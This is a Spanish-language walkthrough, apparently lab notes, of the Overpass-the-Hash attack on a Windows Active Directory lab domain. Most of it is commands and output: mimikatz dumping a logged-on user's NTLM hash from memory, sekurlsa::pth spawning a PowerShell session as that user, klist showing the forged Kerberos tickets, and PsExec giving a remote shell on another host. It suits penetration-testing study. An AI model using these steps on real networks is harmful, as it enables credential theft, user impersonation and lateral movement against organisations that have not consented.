Con overpass the hash podemos abusar con un NTLM hash de un usuario para obtener un TGT de kerberos y luego podemos obtener un TGS, esto lo haremos para impersonar un usuario que se haya logueado en la maquina que hemos comprometido, y si están sus credenciales almacenadas, podemos realizar este ataque.
Ejecutamos mimikatz, realizamos privilege::debug y sekurlsa::logonpasswords, de manera que obtenemos el hash del user logueado
mimikatz # privilege::debug
Privilege '20' OK
mimikatz # sekurlsa::logonpasswords
...
Authentication Id : 0 ; 1142030 (00000000:00116d0e)
Session : Interactive from 0
User Name : jen
Domain : CORP
Logon Server : DC1
Logon Time : 2/27/2023 7:43:20 AM
SID : S-1-5-21-1987370270-658905905-1781884369-1124
msv :
[00000003] Primary
* Username : jen
* Domain : CORP
* NTLM : 369def79d8372408bf6e93364cc93075
* SHA1 : faf35992ad0df4fc418af543e5f4cb08210830d4
* DPAPI : ed6686fedb60840cd49b5286a7c08fa4
tspkg :
wdigest :
* Username : jen
* Domain : CORP
* Password : (null)
kerberos :
* Username : jen
* Domain : CORP.COM
* Password : (null)
ssp :
credman :
...
Ahora que lo tenemos, con el módulo sekurlsa::pth nos crearemos un ticket en nombre de este usuario, en este caso “jen”.
mimikatz # sekurlsa::pth /user:jen /domain:corp.com /ntlm:369def79d8372408bf6e93364cc93075 /run:powershell
user : jen
domain : corp.com
program : powershell
impers. : no
NTLM : 369def79d8372408bf6e93364cc93075
| PID 8716
| TID 8348
| LSA Process is now R/W
| LUID 0 ; 16534348 (00000000:00fc4b4c)
\\_ msv1_0 - data copy @ 000001F3D5C69330 : OK !
\\_ kerberos - data copy @ 000001F3D5D366C8
\\_ des_cbc_md4 -> null
\\_ des_cbc_md4 OK
\\_ des_cbc_md4 OK
\\_ des_cbc_md4 OK
\\_ des_cbc_md4 OK
\\_ des_cbc_md4 OK
\\_ des_cbc_md4 OK
\\_ *Password replace @ 000001F3D5C63B68 (32) -> null
Comprobamos con klist si disponemos del ticket ya cargado, pero antes debemos hacer alguna interacción a un recurso compartido para que se cargue, ejecutando net use \\\\<alguna máquina del dominio>
PS C:\\Windows\\system32> net use \\\\files04
The command completed successfully.
PS C:\\Windows\\system32> klist
Current LogonId is 0:0x17239e
Cached Tickets: (2)
#0> Client: jen @ CORP.COM
Server: krbtgt/CORP.COM @ CORP.COM
KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96
Ticket Flags 0x40e10000 -> forwardable renewable initial pre_authent name_canonicalize
Start Time: 2/27/2023 5:27:28 (local)
End Time: 2/27/2023 15:27:28 (local)
Renew Time: 3/6/2023 5:27:28 (local)
Session Key Type: RSADSI RC4-HMAC(NT)
Cache Flags: 0x1 -> PRIMARY
Kdc Called: DC1.corp.com
#1> Client: jen @ CORP.COM
Server: cifs/files04 @ CORP.COM
KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96
Ticket Flags 0x40a10000 -> forwardable renewable pre_authent name_canonicalize
Start Time: 2/27/2023 5:27:28 (local)
End Time: 2/27/2023 15:27:28 (local)
Renew Time: 3/6/2023 5:27:28 (local)
Session Key Type: AES-256-CTS-HMAC-SHA1-96
Cache Flags: 0
Kdc Called: DC1.corp.com
Ahora que tenemos el ticket de jen cargado, con psexec, podemos movernos a otra maquina con el usuario que hemos impersonado
PS C:\\Windows\\system32> cd C:\\tools\\SysinternalsSuite\\
PS C:\\tools\\SysinternalsSuite> .\\PsExec.exe \\\\files04 cmd
PsExec v2.4 - Execute processes remotely
Copyright (C) 2001-2022 Mark Russinovich
Sysinternals - www.sysinternals.com
Microsoft Windows [Version 10.0.20348.169]
(c) Microsoft Corporation. All rights reserved.
C:\\Windows\\system32>whoami
corp\\jen
C:\\Windows\\system32>hostname
FILES04